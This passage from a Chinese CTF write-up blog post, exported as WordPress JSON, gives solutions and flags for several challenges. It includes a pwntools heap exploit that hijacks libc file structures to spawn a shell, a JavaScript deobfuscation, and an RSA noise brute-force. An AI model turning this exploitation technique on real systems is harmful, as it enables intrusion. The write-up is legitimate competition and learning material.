for i, sz in   enumerate([0x430, 0x418, 0x440, 0x410]):
    make(i, sz)
 
drop(2)
peek(2)
sf.recvuntil(b'\\x7f')
libc_leak =   u64(sf.recv(-1)[-6:].ljust(8, b'\\x00'))
libc_base = libc_leak -   0x219ce0 - 0x1000
log.success(f\"libc @   {hex(libc_base)}\")
 
IO_list = libc_base +   libc.sym['_IO_list_all']
wjump   = libc_base + libc.sym['_IO_wfile_jumps']
syscall = libc_base +   libc.sym['system']
 
make(4, 0x450)
patch(2, b'B'*0x10)
peek(2)
sf.recvuntil(b'B'*0x10)
heap_base = grab() - 0xaf0
log.success(f\"heap @   {hex(heap_base)}\")
 
drop(0)
patch(2, flat(0, 0,   0,IO_list - 0x20))
 
make(5, 0x450)
make(0, 0x430)
 
arena_ptr = libc_base +   0x21b0e0
patch(2, flat(arena_ptr,   arena_ptr,heap_base + 0xaf0,heap_base + 0xaf0))
make(2, 0x440)
 
fake = heap_base + 0xaf0
cmd  = fake + 0x2a0
lock = heap_base + 0x6c0
wide = fake + 0xe0
chain= wide + 0xe8
 
blocks = [
    (0x00, p64(0)*2),
    (0x10, p64(0) + p64(-1 &   0xffffffffffffffff)),
    (0x28, p64(0)*3 + p64(cmd)),
    (0x50, p64(0)*7),
    (0x88, p64(lock)),
    (0xa0, p64(0)*2 + p64(wide)),
    (0xc8, p64(0)*5),
    (0xf8, p64(wjump)),
    (0x1d8, p64(chain)),
    (0x250, p64(syscall)),
]
 
payload = bytearray(b'\\x00'   * 0x300)
for off, data in blocks:
    payload[off:off+len(data)] = data
 
patch(2, bytes(payload))
 
patch(1, b'A'*0x410 +   p32(0xfffff7f5) + b';sh\\x00')
 
step(5)
sf.interactive()<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

flag\u503c\uff1a<\/h4>\n\n\n\n

flag{dd975c31-c7f0-4d14-8799-c4f82846d268}<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u9898\u76ee\u5341\u4e00 \u82f1\u52c7\u6295\u5f39\u624b<\/h3>\n\n\n\n

\u64cd\u4f5c\u5185\u5bb9\uff1a<\/h4>\n\n\n\n

\u538b\u7f29\u5305\u5bc6\u7801\u662f\u4eba\u6211\u5403 CyhUkh8a<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n

\u9006\u5411core.js\u62ff\u5230\u5bf9\u5e94\u7684\u5bc6\u6587\u548c\u903b\u8f91\uff0c\u6838\u5fc3\u903b\u8f91\u662f\u5982\u56fe\u8fd9\u4e00\u5768\uff0c\u628a\u4ed6\u91cd\u7f6e\u6210\u4e00\u4e2a\u53ef\u4ee5\u89e3\u5bc6\u7684\u811a\u672c\u4e4b\u540e\u5199\u4e2ajs\u811a\u672c\u5c31\u80fd\u89e3\u51fa\u6765\u539f\u6587<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n

\u5982\u8be5\u9898\u4f7f\u7528\u81ea\u5df1\u7f16\u5199\u7684\u811a\u672c\u8bf7\u8be6\u7ec6\u5199\u51fa\uff0c\u4e0d\u5141\u8bb8\u622a\u56fe<\/p>\n\n\n\n

function _0x2f3d() {
    const _0x239d05 = [
        '3088265aLnAAu',   '873bf00c57', '25372BhvWzP', '7c3f7bbf99',
        'gFKKr', '821466gZMlek',   '2569812BGsTZj', 'HPqhV',
        '4040648FCWnre',   '76849b468b', '1006744yccwII', '25COywAc',
        '1304166xohEjZ'
    ];
    _0x2f3d = function () { return _0x239d05;   };
    return _0x2f3d();
}
(function (_0x308471<\/em>, _0x5643fe<\/em>) {
    const _0x5a606a = _0x2460, _0x33a4a5 =   _0x308471();
    while (!![]) {
        try {
            const   _0x2afb4f = parseInt(_0x5a606a(0x1b3)) \/ 1 * (-parseInt(_0x5a606a(0x1b7)) \/   2) + ...;
            if (_0x2afb4f   === _0x5643fe) break;
            else   _0x33a4a5['push'](_0x33a4a5['shift']());
        } catch (_0x5220d0) {
              _0x33a4a5['push'](_0x33a4a5['shift']());
        }
    }
}(_0x2f3d, 0xc368f));
function _0x2460(_0x111017<\/em>, _0x5efafa<\/em>) {
    const _0x2f1f50 = _0x2f3d();
    return _0x2460 = function (_0x2f7d39<\/em>,   _0x466e46<\/em>) {
        _0x2f7d39 = _0x2f7d39 -   0x1b3; 
        let _0x2b3801 =   _0x2f1f50[_0x2f7d39];
        return _0x2b3801;
    }, _0x2460(_0x111017, _0x5efafa);
}
const _0x47b80f = _0x2460;
const part1 = _0x47b80f(0x1b6); \/\/ '873bf00c57'<\/em>
const part2 = _0x47b80f(0x1b8); \/\/ '7c3f7bbf99'<\/em>
const part3 = _0x47b80f(0x1be); \/\/ '76849b468b'<\/em>
const flag = part1 + part2 + part3 + 'a3';
 
console.log(flag);<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

flag\u503c\uff1a<\/h4>\n\n\n\n

flag{873bf00c577c3f7bbf9976849b468ba3}<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u9898\u76ee\u5341\u4e8c Quantum<\/h3>\n\n\n\n

\u64cd\u4f5c\u5185\u5bb9\uff1a<\/h4>\n\n\n\n

\u53cc\u53c2\u6570\u566a\u58f016-bit \u566a\u58f0\uff1a0 <= r < 2^16\u3002
public.txt \u2192 \u5f97\u5230 (N, e)
ciphertext.txt \u2192 \u5f97\u5230 c \uff08\u83b7\u53d6\u76ee\u6807\u5bc6\u6587\uff09
\u5728 oracle_transcript.txt \u4e2d\u67e5\u627e c \u5bf9\u5e94\u7684 y \uff08 \u83b7\u53d6 Oracle \u6cc4\u9732\u7684 y = m + r\uff09
\u679a\u4e3e r = 0 \u5230 65535 \uff08\u66b4\u529b\u731c\u6d4b\u566a\u58f0\uff09
\u8ba1\u7b97 m = y - r\uff0c\u9a8c\u8bc1 m^e mod N == c \u627e\u5230\u771f\u5b9e\u7684\u660e\u6587 m
\u7136\u540e\u7f16\u5199python\u4ee3\u7801 \u6267\u884c<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n

\u5982\u8be5\u9898\u4f7f\u7528\u81ea\u5df1\u7f16\u5199\u7684\u811a\u672c\u8bf7\u8be6\u7ec6\u5199\u51fa\uff0c\u4e0d\u5141\u8bb8\u622a\u56fe<\/p>\n\n\n\n

from pathlib import Path
 
def strip_hex_prefix(s: str)   -> str:
    s = s.strip().lower()
    if s.startswith(\"0x\"):
        return s[2:]
    return s
 
def main():
    # === 1. \u8bfb\u53d6\u516c\u94a5 (N, e) ===
    pub_lines =   Path(\"public.txt\").read_text().strip().splitlines()
    if len(pub_lines) < 2:
        raise ValueError(\"public.txt \u81f3\u5c11\u9700\u8981\u4e24\u884c\uff1aN \u548c e\")
   
    N = int(strip_hex_prefix(pub_lines[0]),   16)
    e = int(strip_hex_prefix(pub_lines[1]),   16)
 
    # === 2. \u8bfb\u53d6\u76ee\u6807\u5bc6\u6587 c ===
    c_hex_raw =   Path(\"ciphertext.txt\").read_text().strip()
    c_hex = strip_hex_prefix(c_hex_raw)
    c = int(c_hex, 16)
 
    # === 3. \u5728 Oracle transcript \u4e2d\u67e5\u627e y ===
    y = None
    transcript_path =   Path(\"oracle_transcript.txt\")
    for line_num, line in   enumerate(transcript_path.read_text().splitlines(), start=1):
        line = line.strip()
        if not line or   line.startswith(\"#\"):
            continue
       
        parts = line.split()
        if len(parts) != 2:
            print(f\"\u8b66\u544a\uff1a\u8df3\u8fc7 oracle_transcript.txt \u7b2c {line_num} \u884c\uff08\u683c\u5f0f\u9519\u8bef\uff09: {line}\")
            continue
       
        a, b = parts
        a_clean = strip_hex_prefix(a)
        if a_clean == c_hex:
            y = int(strip_hex_prefix(b), 16)
            break
 
    if y is None:
        raise RuntimeError(\"\u5728 oracle_transcript.txt \u4e2d\u672a\u627e\u5230\u4e0e ciphertext.txt \u5339\u914d\u7684\u6761\u76ee\")
 
    # === 4. \u7206\u7834 16-bit \u566a\u58f0 r \u2208 [0, 65535] ===
    print(f\"\u6b63\u5728\u7206\u7834 16-bit \u566a\u58f0 (r \u2208 [0,   {1<<16}))...\")
    ans_m = None
    ans_r = None
    max_r = 1 << 16  # 65536
 
    for r in range(max_r):
        if r > y:
            continue
        m = y - r
        if pow(m, e, N) == c:
            ans_m = m
            ans_r = r
            break
 
    if ans_m is None:
        raise RuntimeError(f\"\u5728 r \u2208 [0, {max_r}) \u8303\u56f4\u5185\u672a\u627e\u5230\u6709\u6548\u660e\u6587\u3002\u5efa\u8bae\u5c1d\u8bd5\u66f4\u5927\u8303\u56f4\uff08\u5982 20-bit\uff09\")
 
    byte_len = max(1, (ans_m.bit_length() +   7) \/\/ 8)
    m_bytes = ans_m.to_bytes(byte_len,   \"big\")
 
    print(f\"\\n\u2705 \u6210\u529f\u6062\u590d\u660e\u6587\uff01\")
    print(f\"r = {ans_r}   (0x{ans_r:x})\")
    print(f\"\u660e\u6587\u957f\u5ea6: {len(m_bytes)} \u5b57\u8282\")
 
    try:
        plain_str =   m_bytes.decode(\"utf-8\")
        print(f\"\\n--- UTF-8 \u89e3\u7801\u7ed3\u679c ---\")
        print(plain_str)
 
    except UnicodeDecodeError:
        print(f\"\\n--- \u539f\u59cb\u5b57\u8282 (hex) ---\")
        print(m_bytes.hex())
        print(\"\\n--- \u5341\u516d\u8fdb\u5236\u9884\u89c8\uff08\u6bcf\u884c32\u5b57\u8282\uff09 ---\")
        for i in range(0, len(m_bytes), 32):
            chunk = m_bytes[i:i+32]
            hex_part = \"   \".join(f\"{b:02x}\" for b in chunk)
            ascii_part =   \"\".join(chr(b) if 32 <= b <= 126 else \".\" for b in   chunk)
            print(f\"{i:04x}:   {hex_part:<48} | {ascii_part}\")
 
if __name__ ==   \"__main__\":
    main()<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

flag\u503c\uff1a<\/h4>\n\n\n\n

flag{7a94faqe-e0a3-1qf0-8527-30050575612d-983f85d9-e0a3-11f0-88ca}<\/p>\n","protected":false},"excerpt":{"rendered":"Base64\u89e3\u7801\u3001\u6362\u8868\u5bc6\u7801\u3001Shell\u7ed5\u8fc7\u3001JS\u6df7\u6dc6\u4e0eAES\u89e3\u5bc6\u3001SPN\u7206\u7834\u4e0eZ3\u6c42\u89e3\u2014\u2014\u6cb3\u5357\u7701\u7b2c\u4e03\u5c4a\u91d1\u76fe\u4fe1\u5b89\u676f\u7f51\u7edc\u5b89\u5168\u5927\u8d5bWriteUp\uff0c\u63ed\u79d8\u4e94\u5927\u9898\u76ee\u7684\u6838\u5fc3\u7834\u89e3\u601d\u8def\u4e0e\u5b9e\u6218\u811a\u672c\u3002","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[5,6],"tags":[],"class_list":["post-100","post","type-post","status-publish","format-standard","hentry","category-ctf","category-wp"],"_links":{"self":[{"href":"https:\/\/blog.ichenfu.cn\/index.php\/wp-json\/wp\/v2\/posts\/100","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.ichenfu.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.ichenfu.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.ichenfu.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.ichenfu.cn\/index.php\/wp-json\/wp\/v2\/comments?post=100"}],"version-history":[{"count":10,"href":"https:\/\/blog.ichenfu.cn\/index.php\/wp-json\/wp\/v2\/posts\/100\/revisions"}],"predecessor-version":[{"id":115,"href":"https:\/\/blog.ichenfu.cn\/index.php\/wp-json\/wp\/v2\/posts\/100\/revisions\/115"}],"wp:attachment":[{"href":"https:\/\/blog.ichenfu.cn\/index.php\/wp-json\/wp\/v2\/media?parent=100"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.ichenfu.cn\/index.php\/wp-json\/wp\/v2\/categories?post=100"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.ichenfu.cn\/index.php\/wp-json\/wp\/v2\/tags?post=100"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}